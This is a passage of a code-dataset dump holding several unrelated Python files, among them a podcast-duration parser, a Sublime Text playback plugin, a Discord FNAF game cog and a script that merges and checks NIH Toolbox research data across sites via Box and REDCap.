perceptron()\n\tprint(a.AND(0, 0))\n\tprint(a.AND(1, 0))\n\tprint(a.AND(0, 1))\n\tprint(a.AND(1, 1))\n\n","sub_path":"lstguardleft/deep_learning_for_scratch/chapter2/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"144190843","text":"import random\nimport requests\nimport re\n\nfrom pytimeparse.timeparse import timeparse\nfrom pyPodcastParser.Podcast import Podcast, Item\n\n\n\ndef alt_parse_time(value):\n try:\n parsed_time = timeparse(value)\n except:\n raise ValueError(\"bah!\")\n parsed_time = 0\n else:\n value += ':00'\n parsed_time = timeparse(value)\n return parsed_time\n\n\ndef parse_episodes(items: [Item]):\n episodes = []\n for item in items:\n episode = Episode(item, random.choice([True, False]))\n episodes.append(episode)\n return episodes\n\n\n\nclass PodcastFeed:\n\n def __init__(self, feed_url: str):\n self.feed_url = feed_url\n self.podcast = Podcast(requests.get(self.feed_url).content)\n self.title = self.podcast.title\n self.episodes = parse_episodes(self.podcast.items)\n\n @property\n def total_duration_played_episodes(self) -> float:\n duration_in_seconds = 0\n\n for episode in self.episodes:\n if episode.has_been_played:\n duration_in_seconds += int(episode.duration)\n return duration_in_seconds\n\n @property\n def total_duration(self) -> float:\n total_duration_in_seconds = 0\n\n for episode in self.episodes:\n total_duration_in_seconds += int(episode.duration)\n\n return total_duration_in_seconds\n\n\nclass Episode:\n def __init__(self, item: Item, episode_has_been_played: bool = False):\n \"\"\"\n\n :type episode_has_been_played: bool\n \"\"\"\n self.title = item.title\n if item.itunes_duration is not None:\n try:\n self.duration = int(alt_parse_time(item.itunes_duration))\n # print(\"Working: \" + self.duration)\n except TypeError:\n self.duration = 0\n else:\n self.duration = 0\n self.has_been_played = episode_has_been_played\n","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"650468251","text":"import re\n\ndef GetRunmode(args):\n if len(args) < 2:\n raise Exception\n\n argumentRequiringOptions = ['-o']\n\n runMode = {'data':[]}\n args.pop(0)\n runMode['command'] = args[0]\n args.pop(0)\n\n runMode['logLevel'] = 'default'\n key = \"\"\n\n awaitingValue = False\n\n for arg in args: # Reserved options\n if arg == '-v' or arg.lower() == '--verbose':\n runMode['logLevel'] = 'verbose'\n elif arg == '-s' or arg.lower() == '--silent':\n runMode['logLevel'] = 'silent'\n elif arg == '-d' or arg.lower() == '--default':\n runMode['logLevel'] = 'default'\n \n elif re.search(\"^-\", arg) != None: # If argument is an option\n runMode[arg] = \"\"\n if arg in argumentRequiringOptions: # If option requires an argument\n key = arg\n awaitingValue = True\n elif awaitingValue and re.search(r\"^(!?-)\", arg) == None: # If an option is awaiting an argument\n runMode[key] = arg\n awaitingValue = False\n elif awaitingValue:\n raise IndexError\n else:\n runMode['data'].append(arg)\n awaitingValue = False\n \n \n \n\n return runMode","sub_path":"Source/Client/argparser.py","file_name":"argparser.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"554314974","text":"import torch \nimport torch.nn as nn \nimport os \nimport pandas as pd \nimport numpy as np \nimport cv2 \n\n\ndef main():\n\n #test = pd.read_csv('data/test.csv')\n os.makedirs('data_test', exist_ok=True)\n\n for el in range(4):\n test = pd.read_parquet('data/test_image_data_{}.parquet'.format(el))\n print(test.shape)\n _ixes = test.image_id.values\n print(_ixes)\n \n for _num, _name in enumerate(_ixes):\n _img = test.iloc[_num, :].drop('image_id').values.reshape(137, 236)\n _img = _img.astype(np.uint8)\n cv2.resize(_img, (128, 128))\n cv2.imwrite(os.path.join('data_test', 'Test_{}.png'.format(_name)), _img)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"drafts/torch_dataloader.py","file_name":"torch_dataloader.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"203362303","text":"import json\nimport threading\nimport time\nimport math\nimport sublime\n\n\nclass Playback(object):\n\n def __init__(self, owner, view, filename):\n self.owner = owner\n self.view = view\n self.filename = filename\n self.data = None\n self.which_event = 0\n self.total_events = 0\n self.total_time = 0.0\n self.play_start = 0.0\n self.elapsed_time = 0.0\n self.timer = None\n self.status_timer = None\n self.open()\n\n def open(self):\n self.data = None\n with open(self.filename, 'r') as f:\n self.data = json.load(f)\n self.owner.view.window().run_command(\n \"replace_jensaarai_main\",\n {\"text\": self.data[\"initial_text\"], \"region\": None})\n self.owner.view.sel().clear()\n self.owner.view.sel().add(sublime.Region(0, 0))\n self.total_time = (self.data[\"local_end_time\"] -\n self.data[\"local_start_time\"])\n self.total_events = len(self.data['action'])\n self.owner.view.window().focus_view(self.owner.view)\n\n def do_event(self, ignore):\n event = self.data['action'][self.which_event]\n\n if 'u' in event['type']:\n self.owner.recv_local_cursor(event)\n elif 'c' in event['type']:\n self.owner.recv_changes(event)\n elif 'e' in event['type']:\n self.owner.recv_executes(event)\n elif 'o' in event['type']:\n self.owner.recv_remote_cursor(event)\n\n self.which_event += 1\n if not ignore:\n self.handle_event()\n\n def handle_event(self):\n # behind on events\n while self.which_event < self.total_events:\n event_time = self.data['action'][self.which_event]['time']\n if self.play_start - time.time() + event_time < 0.0:\n self.do_event(True)\n else:\n break\n\n # out of events, split to not trigger new more events\n if self.which_event >= self.total_events:\n # and out of time\n if self.elapsed_time >= self.total_time:\n self.stop()\n else:\n event_time = self.data['action'][self.which_event]['time']\n when = self.play_start - time.time() + event_time\n self.timer = threading.Timer(when, self.do_event, [False])\n self.timer.start()\n\n def play(self):\n self.play_start = time.time() - self.elapsed_time\n self.status_timer = threading.Timer(1.0, self.status_update)\n self.status_timer.start()\n self.handle_event()\n\n def stop(self):\n if self.timer is not None and self.timer.isAlive():\n self.timer.cancel()\n if self.status_timer is not None and self.status_timer.isAlive():\n self.status_timer.cancel()\n self.elapsed_time = time.time() - self.play_start\n\n def rewind(self):\n self.stop()\n self.which_event = 0\n self.play_start = 0.0\n self.elapsed_time = 0.0\n self.owner.view.window().run_command(\n \"replace_jensaarai_main\",\n {\"text\": self.data[\"initial_text\"], \"region\": None})\n\n def jump_to(self, input):\n parts = input.split()\n if len(parts) > 2:\n print(\"Too many numbers. Use:# #\")\n return\n\n time_jump = 0\n if len(parts) > 1:\n min = int(parts[0])\n sec = int(parts[1])\n time_jump = min * 60 + sec\n elif len(parts) == 1:\n time_jump = int(parts[0])\n else:\n print(\"Not time specified\")\n return\n\n if time_jump < 0 or time_jump > self.total_time:\n print(\"Time not valid, either too big or too small\")\n return\n\n if time_jump < self.elapsed_time:\n self.rewind()\n else:\n self.stop()\n self.elapsed_time = time_jump\n self.play()\n\n def status_update(self):\n self.owner.view.erase_status('playback')\n if self.elapsed_time < self.total_time:\n self.elapsed_time = time.time() - self.play_start\n percent_done = self.elapsed_time / self.total_time\n status = '['\n status += '-' * math.floor(percent_done * 50)\n status += '|'\n status += '-' * math.floor((1.0 - percent_done) * 50)\n status += ']\\t'\n status += (str(math.floor(self.elapsed_time / 60)) + \":\" +\n str(math.floor(self.elapsed_time % 60)) + \"\\t\")\n status += (str(math.floor(self.total_time / 60)) + \":\" +\n str(math.floor(self.total_time % 60)) + \"\\t\")\n self.owner.view.set_status('playback', status)\n self.status_timer = threading.Timer(0.25, self.status_update)\n self.status_timer.start()\n\n def destroy(self):\n self.owner.view.erase_status('playback')\n self.stop()\n","sub_path":"jensaarai/Playback.py","file_name":"Playback.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"637516014","text":"import discord\nfrom discord.ext import commands\nimport random\nimport asyncio\n\nclass FNAF:\n \"\"\"Play as a night guard at Freddy Fazbear's Pizzeria.\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(pass_context=True)\n async def fnaf(self, context):\n \"\"\"Play as a night guard at Freddy Fazbear's Pizzera. Type exit to quit.\"\"\"\n user = context.message.author\n entry = [\n 'left hallway',\n 'vents',\n 'right hallway'\n ]\n events = [\n {\n 'animatronic' : 'Freddy',\n 'location' : 'on the Stage.',\n 'kill' : 'drains all your power.'\n },\n {\n 'animatronic' : 'Bonnie',\n 'location' : 'on the Stage.',\n 'kill' : 'smashes your head with his guitar.'\n },\n {\n 'animatronic' : 'Chica',\n 'location' : 'on the Stage.',\n 'kill' : 'throws her chomping cupcake on you.'\n },\n {\n 'animatronic' : 'Foxy',\n 'location' : 'at the Pirate Cove',\n 'kill' : 'hits you with his hook.'\n }\n ]\n loop = 0\n\n await self.bot.say('Welcome to Freddy Fazbear\\'s Pizzeria, ' + user.name + '.')\n await asyncio.sleep(2)\n await self.bot.say('You have to survive, I mean work, as a night guard at the pizzeria.')\n \n while loop in range(0, 6):\n wait1 = random.randint(15, 30)\n wait2 = random.randint(15, 30)\n await self.bot.say('Time = {0}:00 AM'.format(loop))\n loop = loop + 1\n if loop < 6:\n await asyncio.sleep(wait1)\n encounter = random.choice(events)\n chosen_entry = random.choice(entry)\n await self.bot.say('You see ' + encounter['animatronic'] + ' ' + encounter['location'])\n await asyncio.sleep(1)\n await self.bot.say('You hear footsteps coming from the ' + chosen_entry)\n await self.bot.say('What would you like to do? Enter the name of the number corresponding to the option.')\n await self.bot.say('```1. Shine the torch in the vents and close the vent \\n2. Close the left door \\n3. Close the right door \\n4. Watch Hotel Transylvania 2 \\n5. Quit```')\n if chosen_entry == entry[0]:\n ans = \"two\"\n elif chosen_entry == entry[1]:\n ans = \"one\"\n else:\n ans = \"three\"\n await asyncio.sleep(wait2)\n answer = await self.bot.wait_for_message(timeout=10,\n author=context.message.author)\n if answer is None:\n await self.bot.say(encounter['animatronic'] + ' ' + encounter['kill'])\n break\n elif answer.content.lower().strip() == ans:\n await self.bot.say('You shut out' + encounter['animatronic'] + 'successfully.')\n elif answer.content.lower().strip() == \"five\":\n await self.bot.say('You leave the premises through the back window.')\n break\n else:\n await self.bot.say(encounter['animatronic'] + ' ' + encounter['kill'])\n break\n elif loop == 6:\n bank = self.bot.get_cog('Economy').bank\n bank.deposit_credits(context.message.author, 120)\n await self.bot.say('Congratulations! You have completed your shift. Enjoy some time at your home!')\n await self.bot.say('```Paycheck: 120$ recieved.```')\n else:\n break\ndef setup(bot):\n bot.add_cog(FNAF(bot))\n","sub_path":"fnaf/fnaf.py","file_name":"fnaf.py","file_ext":"py","file_size_in_byte":3872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"311493424","text":"import os, datetime\nimport csv\nimport pycurl\nimport sys\nimport shutil\nfrom openpyxl import load_workbook\nimport pandas as pd\nimport download.box\nfrom io import BytesIO\nimport numpy as np\n\nfrom download.box import LifespanBox\n\nverbose = True\nsnapshotdate = datetime.datetime.today().strftime('%m_%d_%Y')\nbox_temp='/home/petra/UbWinSharedSpace1/boxtemp' #location of local copy of curated data\nbox = LifespanBox(cache=box_temp)\nredcapconfigfile=\"/home/petra/UbWinSharedSpace1/ccf-nda-behavioral/PycharmToolbox/.boxApp/redcapconfig.csv\"\n\n#grab stuff from corrected and curated\n#get list of filenames\n##########################\n\n#folderlistlabels=['WashU_HCAorBoth','WashU_HCD', 'UCLA_HCAorBoth','UCLA_HCD', 'UMN_HCAorBoth','UMN_HCD', 'MGH_HCAorBoth','Harvard_HCD']\n#folderlistnums= [82804729845, 82804015457,82807223120, 82805124019, 82803665867, 82805151056,82761770877, 82803734267]\n\n\n#Harvard\nHarv=82803734267\nHarvattn=96013516511\n\nMGH2=82761770877\nMGHattn=96148925420\n\nWashUD=82804015457\nWashUDattn=96147128675\n\nWashUA=82804729845\nWashUAattn=96149947498\n\nUMNA=82803665867\nUMNAattn=96153923311\n\nUMND=82805151056\nUMNDattn=96155708581\n\nUCLAA=82807223120\nUCLAAattn=96154919803\n\nUCLAD=82805124019\nUCLADattn=96162759127\n\n\nharvcleandata, harvcleanscore=curatedandcorrected(Harv,Harvattn)\nmghcleandata, mghcleanscore=curatedandcorrected(MGH2,MGHattn)\nwashudcleandata,washudcleanscore=curatedandcorrected(WashUD,WashUDattn)\nwashuacleandata,washuacleanscore=curatedandcorrected(WashUA,WashUAattn)\numnacleandata,umnacleanscore=curatedandcorrected(UMNA,UMNAattn)\numndcleandata,umndcleanscore=curatedandcorrected(UMND,UMNDattn)\nuclaacleandata,uclaacleanscore=curatedandcorrected(UCLAA,UCLAAattn)\nucladcleandata,ucladcleanscore=curatedandcorrected(UCLAD,UCLADattn)\n\n\n###stopped here\n\nharvcleandata.to_csv(box_temp+'/Harvard_HCDonly_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\n#box.update_file(497579203898,box_temp+'/Harvard_HCDonly_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\nharvcleanscore.to_csv(box_temp+'/Harvard_HCDonly_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n#box.update_file(497530866864,box_temp+'/Harvard_HCDonly_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n\nmghcleandata.to_csv(box_temp+'/MGH_HCAorBoth_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\nmghcleanscore.to_csv(box_temp+'/MGH_HCAorBoth_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n#update box files by hand\n\nwashudcleandata.to_csv(box_temp+'/WashU_HCDonly_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\nwashudcleanscore.to_csv(box_temp+'/WashU_HCDonly_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n\nwashuacleandata.to_csv(box_temp+'/WashU_HCAorBoth_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\nwashuacleanscore.to_csv(box_temp+'/WashU_HCAorBoth_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n\numnacleandata.to_csv(box_temp+'/UMN_HCAorBoth_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\numnacleanscore.to_csv(box_temp+'/UMN_HCAorBoth_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n\numndcleandata.to_csv(box_temp+'/UMN_HCDonly_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\numndcleanscore.to_csv(box_temp+'/UMN_HCDonly_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n\nuclaacleandata.to_csv(box_temp+'/UCLA_HCAorBoth_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\nuclaacleanscore.to_csv(box_temp+'/UCLA_HCAorBoth_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n\nucladcleandata.to_csv(box_temp+'/UCLA_HCDonly_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\nucladcleanscore.to_csv(box_temp+'/UCLA_HCDonly_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n\n\n#concatenate cleandata for snapshotdate - putting read_csv here in case not loaded into memory\nharvcleandata=pd.read_csv(box_temp+'/Harvard_HCDonly_Toolbox_Raw_Combined_12_12_2019.csv',header=0,low_memory=False)\nmghcleandata=pd.read_csv(box_temp+'/MGH_HCAorBoth_Toolbox_Raw_Combined_12_12_2019.csv',header=0,low_memory=False)\nwashudcleandata=pd.read_csv(box_temp+'/WashU_HCDonly_Toolbox_Raw_Combined_12_12_2019.csv',header=0,low_memory=False)\nwashuacleandata=pd.read_csv(box_temp+'/WashU_HCAorBoth_Toolbox_Raw_Combined_12_12_2019.csv',header=0,low_memory=False)\numnacleandata=pd.read_csv(box_temp+'/UMN_HCAorBoth_Toolbox_Raw_Combined_12_12_2019.csv',header=0,low_memory=False)\numndcleandata=pd.read_csv(box_temp+'/UMN_HCDonly_Toolbox_Raw_Combined_12_12_2019.csv',header=0,low_memory=False)\nuclaacleandata=pd.read_csv(box_temp+'/UCLA_HCAorBoth_Toolbox_Raw_Combined_12_12_2019.csv',header=0,low_memory=False)\nucladcleandata=pd.read_csv(box_temp+'/UCLA_HCDonly_Toolbox_Raw_Combined_12_12_2019.csv',header=0,low_memory=False)\n\nallrawdataHCAorBoth=pd.concat([mghcleandata,washuacleandata,umnacleandata,uclaacleandata],axis=0)\nallrawdataHCD=pd.concat([harvcleandata,washudcleandata,umndcleandata,ucladcleandata],axis=0)\n\nharvcleanscore=pd.read_csv(box_temp+'/Harvard_HCDonly_Toolbox_Scored_Combined_12_12_2019.csv',header=0,low_memory=False)\nmghcleanscore=pd.read_csv(box_temp+'/MGH_HCAorBoth_Toolbox_Scored_Combined_12_12_2019.csv',header=0,low_memory=False)\nwashudcleanscore=pd.read_csv(box_temp+'/WashU_HCDonly_Toolbox_Scored_Combined_12_12_2019.csv',header=0,low_memory=False)\nwashuacleanscore=pd.read_csv(box_temp+'/WashU_HCAorBoth_Toolbox_Scored_Combined_12_12_2019.csv',header=0,low_memory=False)\numnacleanscore=pd.read_csv(box_temp+'/UMN_HCAorBoth_Toolbox_Scored_Combined_12_12_2019.csv',header=0,low_memory=False)\numndcleanscore=pd.read_csv(box_temp+'/UMN_HCDonly_Toolbox_Scored_Combined_12_12_2019.csv',header=0,low_memory=False)\nuclaacleanscore=pd.read_csv(box_temp+'/UCLA_HCAorBoth_Toolbox_Scored_Combined_12_12_2019.csv',header=0,low_memory=False)\nucladcleanscore=pd.read_csv(box_temp+'/UCLA_HCDonly_Toolbox_Scored_Combined_12_12_2019.csv',header=0,low_memory=False)\n\nallscoresHCAorBoth=pd.concat([mghcleanscore,washuacleanscore,umnacleanscore,uclaacleanscore],axis=0)\nallscoresHCD=pd.concat([harvcleanscore,washudcleanscore,umndcleanscore,ucladcleanscore],axis=0)\n\n\n#make csv\nallrawdataHCAorBoth.to_csv(box_temp+'/HCAorBoth_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\nallrawdataHCD.to_csv(box_temp+'/HCD_Toolbox_Raw_Combined_'+snapshotdate+'.csv')\nallscoresHCAorBoth.to_csv(box_temp+'/HCAorBoth_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\nallscoresHCD.to_csv(box_temp+'/HCD_Toolbox_Scored_Combined_'+snapshotdate+'.csv')\n\n\ndef curatedandcorrected(curatedfolderid,needsattnfolder):\n harvardfiles, harvardfolders=foldercontents(curatedfolderid)\n #dont grab files that need attention\n harvardfolders=harvardfolders.loc[~(harvardfolders.foldername.str.contains('needs_attention'))]\n harvardfiles2, harvardfolders2=folderlistcontents(harvardfolders.foldername,harvardfolders.folder_id)\n harvardfiles=pd.concat([harvardfiles,harvardfiles2],axis=0,sort=True)\n\n data4process=harvardfiles.loc[~(harvardfiles.filename.str.upper().str.contains('SCORE')==True)]\n scores4process=harvardfiles.loc[harvardfiles.filename.str.upper().str.contains('SCORE')==True]\n box.download_files(data4process.file_id)\n box.download_files(scores4process.file_id)\n\n #trick the catcontents macro to create catable dataset, but dont actually cat until you remove the\n #PINS in the corrected file from the curated file\n #step1 - separate data4process/scores4process into corrected and old curated data\n cdata=data4process.loc[data4process.filename.str.contains('corrected')]\n cscores=scores4process.loc[scores4process.filename.str.contains('corrected')]\n olddata=data4process.loc[~(data4process.filename.str.contains('corrected'))]\n oldscores=scores4process.loc[~(scores4process.filename.str.contains('corrected'))]\n #create catable dataset for corrected data\n hdatainitcorr=catcontents(cdata,box_temp)\n hscoreinitcorr=catcontents(cscores,box_temp)\n #get list of ids in this corrected data #60 for Harvard\n corrl=findpairs(hdatainitcorr,hscoreinitcorr) #this is the list of ids in both scored and raw corrected data\n\n #create catable dataset for old curated data\n hdatainitold=catcontents(olddata,box_temp)\n hscoreinitold=catcontents(oldscores,box_temp)\n #remove the data with PINS from corrected\n hdatainitoldsub=hdatainitold[~(hdatainitold.PIN.isin(corrl))]\n hscoreinitoldsub=hscoreinitold[~(hscoreinitold.PIN.isin(corrl))]\n\n #now cat the two datasets together\n hdatainit=pd.concat([hdatainitcorr,hdatainitoldsub],axis=0,sort=True) #these have 60 more unique pins than before...good\n hscoreinit=pd.concat([hscoreinitcorr,hscoreinitoldsub],axis=0,sort=True) #these have 60 more than before...good\n\n l=findpairs(hdatainit,hscoreinit) #this is the list of ids in both scored and raw data\n #set aside those who arebnt in both and those that are in dlist or slist\n notbothdatalist=hdatainit[~(hdatainit.PIN.isin(l))]\n notbothscorelist=hscoreinit[~(hscoreinit.PIN.isin(l))]\n nbs=list(notbothscorelist.PIN.unique())\n nbd=list(notbothdatalist.PIN.unique())\n\n hdatainit2=hdatainit[hdatainit.PIN.isin(l)]\n hscoreinit2=hscoreinit[hscoreinit.PIN.isin(l)]\n #check that this is same as above -- it is\n #hdatainit2qc=hdatainit[~(hdatainit.PIN.isin(nbs+nbd))]\n #hscoreinit2qc=hscoreinit[~(hscoreinit.PIN.isin(nbs+nbd))]\n\n #find instrument duplications that are not identical\n dlist,slist=findwierdos(hdatainit2,hscoreinit2)\n dslist=pd.concat([dlist,slist],axis=0)\n wierdlist=list(dslist.PIN.unique())\n #set aside those who are in the wierdlist\n nonidenticaldupdata=hdatainit2.loc[hdatainit2.PIN.isin(wierdlist)]\n nonidenticaldupscore=hscoreinit2.loc[hscoreinit2.PIN.isin(wierdlist)]\n wierdd=list(dlist.PIN.unique())\n wierds=list(slist.PIN.unique())\n #so we have the notinboth lists and the wierdlists\n #Already set aside the notinbothlists\n #if we exclude any wierdlist PINs from both, this should get rid of everything that isnt one-to-one\n hdatainit3=hdatainit2.loc[~(hdatainit2.PIN.isin(wierdlist))]\n hscoreinit3=hscoreinit2.loc[~(hscoreinit2.PIN.isin(wierdlist))]\n #both have 580 unique ids - make them into a list\n l3=findpairs(hdatainit3,hscoreinit3) #this is the list of ids in both scored and raw data\n\n dlist,slist=findwierdos(hdatainit3,hscoreinit3)\n #now delete any identical duplicates check for issues finding wierdos\n if dlist.empty and slist.empty:\n hdatainit3=hdatainit3.drop_duplicates(subset={'PIN','Inst','ItemID','Position'},keep='first')\n hscoreinit3=hscoreinit3.drop_duplicates(subset={'PIN','Inst'})\n else:\n print('Found Non-Identical Duplications')\n print(dlist)\n print(slist)\n\n #export scores and data for all pins in dslist or nbs or nbd with flags\n notbothdatalist.to_csv(box_temp+'/Toolbox_notinboth_Data_'+snapshotdate+'.csv')\n notbothscorelist.to_csv(box_temp+'/Toolbox_notinboth_Scores_'+snapshotdate+'.csv')\n box.upload_file(box_temp+'/Toolbox_notinboth_Data_'+snapshotdate+'.csv',needsattnfolder)\n box.upload_file(box_temp+'/Toolbox_notinboth_Scores_'+snapshotdate+'.csv',needsattnfolder)\n\n nonidenticaldupdata.to_csv(box_temp+'/Toolbox_NonidentDups_Data_'+snapshotdate+'.csv')\n nonidenticaldupscore.to_csv(box_temp+'/Toolbox_NonidentDups_Scores_'+snapshotdate+'.csv')\n box.upload_file(box_temp+'/Toolbox_NonidentDups_Data_'+snapshotdate+'.csv',needsattnfolder)\n box.upload_file(box_temp+'/Toolbox_NonidentDups_Scores_'+snapshotdate+'.csv',needsattnfolder)\n\n #last but not least...set aside ids not in REDCap, and IDs that need visit numbers\n #get reds from hdatatinit3 (should be same as list from hscoreinit3)\n #generate hdatainit4 and hscoreinit4 which is relieved of these ids\n hdatainit4=subjectsvisits(hdatainit3)\n hscoreinit4=subjectsvisits(hscoreinit3)\n mv=hscoreinit4.loc[~(hscoreinit4.visit.isin(['V1','V2','V3','X1','X2','X3']))].copy()\n mvs=list(mv.subject.unique()) #list of PINs without visit numbers\n\n check=subjectpairs(hdatainit4,hscoreinit4) #this number will be fewer because V1 and V2 PINs for same subject only counted once)\n redids=box.getredcapids()\n dfcheck=pd.DataFrame(check,columns=['subject'])\n boxids=pd.merge(dfcheck,redids,how='left',on='subject',indicator=True)\n reds=list(boxids.loc[boxids._merge=='left_only'].subject) #subjects not in redcap\n boxandredcap=boxids.loc[boxids._merge=='both'].subject\n\n #export the otherwise cleanest data ready for snapshotting as the new updated curated file -- then run this for all sites befo\n #write code here - has only ids with visit numbers and one to one scores and data correspondence and no wierd duplications\n #but check one last time that hdatainit5 and hscoreinit5 is super clean\n hdatainit5=hdatainit4.loc[~(hdatainit4.subject.isin(mvs+reds))]\n hscoreinit5=hscoreinit4.loc[~(hscoreinit4.subject.isin(mvs+reds))]\n\n\n #export the lists of ids and reasons they were excluded\n df=pd.DataFrame(columns=['reason','affectedIDs'])\n df=df.append({'reason': 'PIN In Scores but not Data', 'affectedIDs': nbs}, ignore_index=True)\n df=df.append({'reason': 'PIN In Data but not Scores', 'affectedIDs': nbd}, ignore_index=True)\n df=df.append({'reason': 'PIN/Instrument Non-identical Duplication in Data', 'affectedIDs': wierdd}, ignore_index=True)\n df=df.append({'reason': 'PIN/Instrument Non-identical Duplication in Scores', 'affectedIDs': wierds}, ignore_index=True)\n df=df.append({'reason': 'PIN/subject in Scores and Data but missing visit', 'affectedIDs': mvs}, ignore_index=True)\n df=df.append({'reason': 'subject in Scores and Data but not REDCap ', 'affectedIDs': reds}, ignore_index=True)\n\n\n df.to_csv(box_temp+'/List_of_IDs_and_Reasons_they_in_these_files_'+snapshotdate+'.csv')\n box.upload_file(box_temp+'/List_of_IDs_and_Reasons_they_in_these_files_'+snapshotdate+'.csv',needsattnfolder)\n\n return hdatainit5,hscoreinit5\n\n\n\n#get subject and visit from a PIN in a dataframe\ndef subjectsvisits(hdatainit3):\n hdatainit3['subject']=hdatainit3.PIN.str.strip().str[:10]\n hdatainit3['visit']=''\n hdatainit3.loc[hdatainit3.PIN.str.contains('v1',case=False),'visit']='V1'\n hdatainit3.loc[hdatainit3.PIN.str.contains('v2',case=False),'visit']='V2'\n hdatainit3.loc[hdatainit3.PIN.str.contains('v3',case=False),'visit']='V3'\n hdatainit3.loc[hdatainit3.PIN.str.contains('x1',case=False),'visit']='X1'\n hdatainit3.loc[hdatainit3.PIN.str.contains('x2',case=False),'visit']='X2'\n hdatainit3.loc[hdatainit3.PIN.str.contains('x3',case=False),'visit']='X3'\n return hdatainit3\n\n\n\n#pull id visit combos that arent in both scores and data files\ndef findpairs(hdatainit,hscoreinit):\n pinsinboth=[]\n for i in hscoreinit.PIN.unique():\n if i in hdatainit.PIN.unique() and isinstance(i,str):\n pinsinboth=pinsinboth+[i]\n else:\n print('the following PINs in scores but not data:')\n print(i)\n\n for i in hdatainit.PIN.unique():\n if i in hscoreinit.PIN.unique():\n pass\n else:\n print('the following PINs in data but not scores:')\n print(i)\n return pinsinboth\n\ndef subjectpairs(hdatainit,hscoreinit):\n pinsinboth=[]\n for i in hscoreinit.subject.unique():\n if i in hdatainit.subject.unique() and isinstance(i,str):\n pinsinboth=pinsinboth+[i]\n else:\n print('the following subjects in scores but not data:')\n print(i)\n\n for i in hdatainit.subject.unique():\n if i in hscoreinit.subject.unique():\n pass\n else:\n print('the following subjectss in data but not scores:')\n print(i)\n return pinsinboth\n\n\n\ndef findwierdos(hdatainit,hscoreinit):\n #compare the two types of sort to identify which files have non-identical duplications\n sort1data=hdatainit.drop_duplicates(subset={'PIN','Inst','ItemID','Position'},keep='first')\n sort1score=hscoreinit.drop_duplicates(subset={'PIN','Inst'})\n sort2data=hdatainit.drop_duplicates(subset=set(hdatainit.columns).difference({'filename','file_id'}))\n sort2score=hscoreinit.drop_duplicates(subset=set(hscoreinit.columns).difference({'filename','file_id'}))\n s1d=sort1data.groupby('PIN').count()\n s2d=sort2data.groupby('PIN').count()\n databoth=pd.merge(s1d.reset_index()[['PIN','DeviceID']], s2d.reset_index()[['PIN','DeviceID']],on=['PIN','DeviceID'],how='outer',indicator=True)\n wierd_data=databoth.loc[databoth._merge!='both'].rename(columns={'DeviceID':'Number of Rows'})\n s1s=sort1score.groupby('PIN').count()\n s2s=sort2score.groupby('PIN').count()\n scoreboth=pd.merge(s1s.reset_index()[['PIN','DeviceID']], s2s.reset_index()[['PIN','DeviceID']],on=['PIN','DeviceID'],how='outer',indicator=True)\n wierd_score=scoreboth.loc[scoreboth._merge!='both'].rename(columns={'DeviceID':'Number of Rows'})\n return wierd_data,wierd_score\n\n\ndef catcontents(files,cache_space): #dataframe that has filename and file_id as columns\n scoresfiles=files.copy()\n scoresinit=pd.DataFrame()\n for i in scoresfiles.filename:\n filepath=os.path.join(cache_space,i)\n filenum=scoresfiles.loc[scoresfiles.filename==i,'file_id']\n try:\n temp=pd.read_csv(filepath,header=0,low_memory=False)\n temp['filename']=i\n temp['file_id']=pd.Series(int(filenum.values[0]),index=temp.index)\n temp['raw_cat_date']=snapshotdate\n scoresinit=pd.concat([scoresinit,temp],axis=0,sort=False)\n except:\n print(filepath+' wouldnt import')\n temp=pd.DataFrame()\n temp['filename']=pd.Series(i,index=[0])\n temp['file_id']=pd.Series(int(filenum.values[0]),index=[0])\n temp['raw_cat_date']=snapshotdate\n scoresinit=pd.concat([scoresinit,temp],axis=0,sort=False)\n return scoresinit\n\n\ndef catfromlocal(endpoint_temp,scores2cat): #dataframe that has filenames\n scoresfiles=scores2cat.copy()\n scoresinit=pd.DataFrame()\n for i in scoresfiles.fname:\n filepath=os.path.join(endpoint_temp,i)\n try:\n temp=pd.read_csv(filepath,header=0,low_memory=False)\n temp['filename']=\"endpointmachine/\"+i\n temp['raw_cat_date']=snapshotdate\n scoresinit=pd.concat([scoresinit,temp],axis=0,sort=False)\n except:\n print(filepath+' wouldnt import')\n temp=pd.DataFrame()\n temp['filename']=pd.Series(\"endpointmachine/\"+i,index=[0])\n temp['raw_cat_date']=snapshotdate\n scoresinit=pd.concat([scoresinit,temp],axis=0,sort=False)\n return scoresinit\n\n\n\ndef folderlistcontents(folderslabels,folderslist):\n bdasfilelist=pd.DataFrame()\n bdasfolderlist=pd.DataFrame()\n for i in range(len(folderslist)):\n print('getting file and folder contents of box folder ' 